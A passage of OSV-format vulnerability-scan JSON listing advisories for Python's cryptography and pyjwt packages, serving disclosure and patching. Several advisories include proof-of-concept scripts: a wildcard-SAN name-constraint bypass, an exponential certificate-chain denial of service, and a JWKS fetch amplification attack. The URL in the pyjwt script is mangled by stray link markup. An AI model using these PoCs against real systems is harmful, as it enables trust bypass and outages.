b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n PolicyBuilder()\n .store(Store([root]))\n .time(now)\n .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n v.verify(leaf, [sub])\n print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.", + "id": "PYSEC-2026-3554", + "modified": "2026-08-04T14:30:26.230323446Z", + "published": "2026-08-04T11:34:48.085980Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/pull/14888" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pyca/cryptography" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/cryptography" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-m2h6-j472-rp4c" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248" + } + ], + "schema_version": "1.8.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P", + "type": "CVSS_V4" + } + ], + "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-g6cj-pr64-35w5/GHSA-g6cj-pr64-35w5.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "cryptography", + "purl": "pkg:pypi/cryptography" + }, + "ranges": [ + { + "events": [ + { + "introduced": "44.0.0" + }, + { + "fixed": "50.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "44.0.0", + "44.0.1", + "44.0.2", + "44.0.3", + "45.0.0", + "45.0.1", + "45.0.2", + "45.0.3", + "45.0.4", + "45.0.5", + "45.0.6", + "45.0.7", + "46.0.0", + "46.0.1", + "46.0.2", + "46.0.3", + "46.0.4", + "46.0.5", + "46.0.6", + "46.0.7", + "47.0.0", + "48.0.0", + "48.0.1", + "49.0.0" + ] + } + ], + "aliases": [ + "CVE-2026-69247", + "PYSEC-2026-3552" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208", + "CWE-209" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-08-03T21:17:00Z", + "nvd_published_at": null, + "severity": "HIGH" + }, + "details": "### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable ways, one of which disclosed the exact length recovered from the\nRSA operation. The same distinction was also observable by timing. An\napplication that decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed in 50.0.0.\n\n### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a synthetic plaintext of\npseudorandom length, so the error channel does not distinguish conforming\nciphertexts.\n\nExploitation requires a service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate and answers adaptively at high volume, such as\nan S/MIME gateway or mail filter.\n\n### Fix\n\nPer RFC 3218, the content-encryption algorithm is now resolved before the\nprivate key is used, so the expected key length is known in advance. If the RSA\ndecryption fails or recovers a key of the wrong length, a random key of the\nexpected length is substituted and decryption continues down an identical path.\nAll failures now report identically and perform the same work.\n\n### Not addressed by this fix\n\n`EnvelopedData` does not authenticate its content. Tampering with\n`encryptedContent` alone yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries per byte, without recovering any key, on every backend. This\nis a property of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library, and is now documented.\n\n### Credit\n\nReported by @X1AOxiang.", + "id": "GHSA-g6cj-pr64-35w5", + "modified": "2026-09-10T03:50:53.610446769Z", + "published": "2026-08-03T21:17:00Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/pull/15369" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pyca/cryptography" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-jwv3-5hgf-82ww/GHSA-jwv3-5hgf-82ww.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "cryptography", + "purl": "pkg:pypi/cryptography" + }, + "ranges": [ + { + "events": [ + { + "introduced": "42.0.0" + }, + { + "fixed": "49.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "42.0.0", + "42.0.1", + "42.0.2", + "42.0.3", + "42.0.4", + "42.0.5", + "42.0.6", + "42.0.7", + "42.0.8", + "43.0.0", + "43.0.1", + "43.0.3", + "44.0.0", + "44.0.1", + "44.0.2", + "44.0.3", + "45.0.0", + "45.0.1", + "45.0.2", + "45.0.3", + "45.0.4", + "45.0.5", + "45.0.6", + "45.0.7", + "46.0.0", + "46.0.1", + "46.0.2", + "46.0.3", + "46.0.4", + "46.0.5", + "46.0.6", + "46.0.7", + "47.0.0", + "48.0.0", + "48.0.1" + ] + } + ], + "aliases": [ + "CVE-2026-69249", + "PYSEC-2026-3553" + ], + "database_specific": { + "cwe_ids": [ + "CWE-400" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-08-03T21:26:50Z", + "nvd_published_at": "2026-08-03T22:16:52Z", + "severity": "HIGH" + }, + "details": "### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n fn build_chain_inner(\n &self,\n working_cert: &VerificationCertificate<'chain, B>,\n current_depth: u8,\n working_cert_extensions: &Extensions<'chain>,\n name_chain: NameChain<'_, 'chain>,\n budget: &mut Budget,\n ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {\n name_chain.evaluate_constraints(&nc.value()?, budget)?;\n }\n\n // Look in the store's root set to see if the working cert is listed.\n // If it is, we've reached the end.\n if self.store.contains(working_cert) {\n return Ok(vec![working_cert.clone()]);\n }\n\n // Check that our current depth does not exceed our policy-configured\n // max depth. We do this after the root set check, since the depth\n // only measures the intermediate chain's length, not the root or leaf.\n if current_depth > self.policy.max_chain_depth {\n return Err(ValidationError::new(ValidationErrorKind::Other(\n \"chain construction exceeds max depth\".into(),\n )));\n }\n\n // Otherwise, we collect a list of potential issuers for this cert,\n // and continue with the first that verifies.\n let mut last_err: Option> = None;\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n // A candidate issuer is said to verify if it both\n // signs for the working certificate and conforms to the\n // policy.\n let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n match self.policy.valid_issuer(\n issuing_cert_candidate,\n working_cert,\n current_depth,\n &issuer_extensions,\n ) {\n Ok(_) => {\n match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n . . .\n Ok(_) => {\n if seen_valid_issuers.contains(&issuing_cert_candidate) {\n continue;\n }\n seen_valid_issuers.push(issuing_cert_candidate);\n \n match self.build_chain_inner(\n issuing_cert_candidate,\n // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924 -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193 -> 3,8,rejected,0.001811\n4,8,timeout>5s, -> 4,8,rejected,0.002410\n5,7,timeout>5s, -> 5,7,rejected,0.002640\n6,6,timeout>5s, -> 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n DNSName,\n PolicyBuilder,\n Store,\n VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=True,\n crl_sign=True,\n encipher_only=False,\n decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=False,\n crl_sign=False,\n encipher_only=False,\n decipher_only=False,\n)\n\ndef name(common_name):\n return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n return (\n x509.CertificateBuilder()\n .subject_name(subject)\n .issuer_name(issuer)\n .public_key(public_key)\n .serial_number(serial)\n .not_valid_before(NOW - datetime.timedelta(days=1))\n .not_valid_after(NOW + datetime.timedelta(days=30))\n )\n\ndef make_ca(common_name, serial):\n private_key = ec.generate_private_key(ec.SECP256R1())\n subject = name(common_name)\n cert = (\n base_builder(subject, subject, private_key.public_key(), serial)\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n .add_extension(CA_KEY_USAGE, True)\n .add_extension(\n x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n False,\n )\n .sign(private_key, hashes.SHA256())\n )\n return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n private_key = ec.generate_private_key(ec.SECP256R1())\n return (\n base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n .add_extension(EE_KEY_USAGE, True)\n .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n .add_extension(\n x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n False,\n )\n .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n .sign(issuer_key, hashes.SHA256())\n )\n\ndef build_material():\n looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n leaf = make_leaf(looping_key, looping_ca)\n return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n leaf, looping_ca, unrelated_root = build_material()\n verifier = (\n PolicyBuilder()\n .store(Store([unrelated_root]))\n .time(NOW)\n .max_chain_depth(max_depth)\n .build_server_verifier(DNSName(\"example.com\"))\n )\n\n start = time.perf_counter()\n try:\n verifier.verify(leaf, [looping_ca] * duplicates)\n result = \"accepted\"\n except VerificationError:\n result = \"rejected\"\n queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n queue = multiprocessing.Queue()\n process = multiprocessing.Process(\n target=verify_case,\n args=(duplicates, max_depth, queue),\n )\n process.start()\n process.join(TIMEOUT)\n\n if process.is_alive():\n process.terminate()\n process.join()\n print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n return\n\n result, elapsed = queue.get()\n print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n print(\"duplicates,max_depth,result,seconds\")\n for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.", + "id": "GHSA-jwv3-5hgf-82ww", + "modified": "2026-09-24T14:45:10.238420831Z", + "published": "2026-08-03T21:26:50Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69249" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/pull/14960" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/commit/3763aa79b" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pyca/cryptography" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-m2h6-j472-rp4c/GHSA-m2h6-j472-rp4c.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "cryptography", + "purl": "pkg:pypi/cryptography" + }, + "ranges": [ + { + "events": [ + { + "introduced": "45.0.0" + }, + { + "fixed": "49.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "45.0.0", + "45.0.1", + "45.0.2", + "45.0.3", + "45.0.4", + "45.0.5", + "45.0.6", + "45.0.7", + "46.0.0", + "46.0.1", + "46.0.2", + "46.0.3", + "46.0.4", + "46.0.5", + "46.0.6", + "46.0.7", + "47.0.0", + "48.0.0", + "48.0.1" + ] + } + ], + "aliases": [ + "CVE-2026-69248", + "PYSEC-2026-3554" + ], + "database_specific": { + "cwe_ids": [ + "CWE-295" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-08-03T21:26:57Z", + "nvd_published_at": "2026-08-03T22:16:52Z", + "severity": "MODERATE" + }, + "details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n Sub-CA permitted constraint: dNSName = foo.example.com\n Leaf SAN: dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n b = (x509.CertificateBuilder()\n .subject_name(subject).issuer_name(issuer)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - 30 * day)\n .not_valid_after(now + 3650 * day)\n .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n for e, c in exts:\n b = b.add_extension(e, c)\n return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n PolicyBuilder()\n .store(Store([root]))\n .time(now)\n .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n v.verify(leaf, [sub])\n print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.", + "id": "GHSA-m2h6-j472-rp4c", + "modified": "2026-09-24T15:00:04.719975807Z", + "published": "2026-08-03T21:26:57Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/pull/14888" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/commit/286c89128" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pyca/cryptography" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P", + "type": "CVSS_V4" + } + ], + "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees" + } + ] + }, + { + "package": { + "name": "pyjwt", + "version": "2.13.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-2gx3-rcp4-g85q" + ], + "aliases": [ + "CVE-2026-101917", + "GHSA-2gx3-rcp4-g85q" + ], + "max_severity": "5.3" + }, + { + "ids": [ + "GHSA-8wjv-2p76-3863" + ], + "aliases": [ + "CVE-2026-102265", + "GHSA-8wjv-2p76-3863" + ], + "max_severity": "5.3" + }, + { + "ids": [ + "GHSA-9j54-fg26-wv3r" + ], + "aliases": [ + "CVE-2026-102266", + "GHSA-9j54-fg26-wv3r" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-9v7f-9g4p-ffgj" + ], + "aliases": [ + "CVE-2026-102267", + "GHSA-9v7f-9g4p-ffgj" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-ffc3-869f-jxw9" + ], + "aliases": [ + "CVE-2026-102268", + "GHSA-ffc3-869f-jxw9" + ], + "max_severity": "9.1" + }, + { + "ids": [ + "GHSA-hxm8-2xgr-2p9m" + ], + "aliases": [ + "CVE-2026-102269", + "GHSA-hxm8-2xgr-2p9m" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "GHSA-p4g4-x82p-q773" + ], + "aliases": [ + "CVE-2026-102271", + "GHSA-p4g4-x82p-q773" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-r6x4-923q-g947" + ], + "aliases": [ + "CVE-2026-102272", + "GHSA-r6x4-923q-g947" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-w2cx-738m-mc7w" + ], + "aliases": [ + "CVE-2026-102273", + "GHSA-w2cx-738m-mc7w" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-w6j9-cwv2-h6wq" + ], + "aliases": [ + "CVE-2026-102274", + "GHSA-w6j9-cwv2-h6wq" + ], + "max_severity": "5.9" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "<= 2.13.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-2gx3-rcp4-g85q/GHSA-2gx3-rcp4-g85q.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.14.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.1.1", + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.2.0", + "0.2.1", + "0.2.3", + "0.3.0", + "0.3.1", + "0.3.2", + "0.4.0", + "0.4.1", + "0.4.2", + "0.4.3", + "1.0.0", + "1.0.1", + "1.1.0", + "1.3.0", + "1.4.0", + "1.4.1", + "1.4.2", + "1.5.0", + "1.5.1", + "1.5.2", + "1.5.3", + "1.6.0", + "1.6.1", + "1.6.3", + "1.6.4", + "1.7.0", + "1.7.1", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.1", + "2.1.0", + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.2.0", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-101917" + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T23:11:51Z", + "nvd_published_at": "2026-09-28T21:17:13Z", + "severity": "MODERATE" + }, + "details": "Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {'n': 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n hits['n'] += 1\n self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()\n self.wfile.write(JWKS)\n def log_message(self,*a): pass\nsrv = socketserver.TCPServer(('[127.0.0.1](https://127.0.0.1/)',0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f'http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json', cache_keys=True, lifespan=3600)\nfor i in range(8):\n try: c.get_signing_key(f'attacker-unknown-kid-{i}')\n except Exception: pass\nbefore = hits['n']\nfor _ in range(5):\n try: c.get_signing_key('same-unknown')\n except Exception: pass\nprint('distinct unknown kids: 8 -> fetches:', hits['n'])\nprint('same unknown kid x5 -> extra fetches:', hits['n'] - before)\n\nOutput:\n distinct unknown kids: 8 -> fetches: 9\n same unknown kid x5 -> extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update \u2014 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "id": "GHSA-2gx3-rcp4-g85q", + "modified": "2026-09-29T23:15:08.573706550Z", + "published": "2026-09-29T23:11:51Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101917" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": 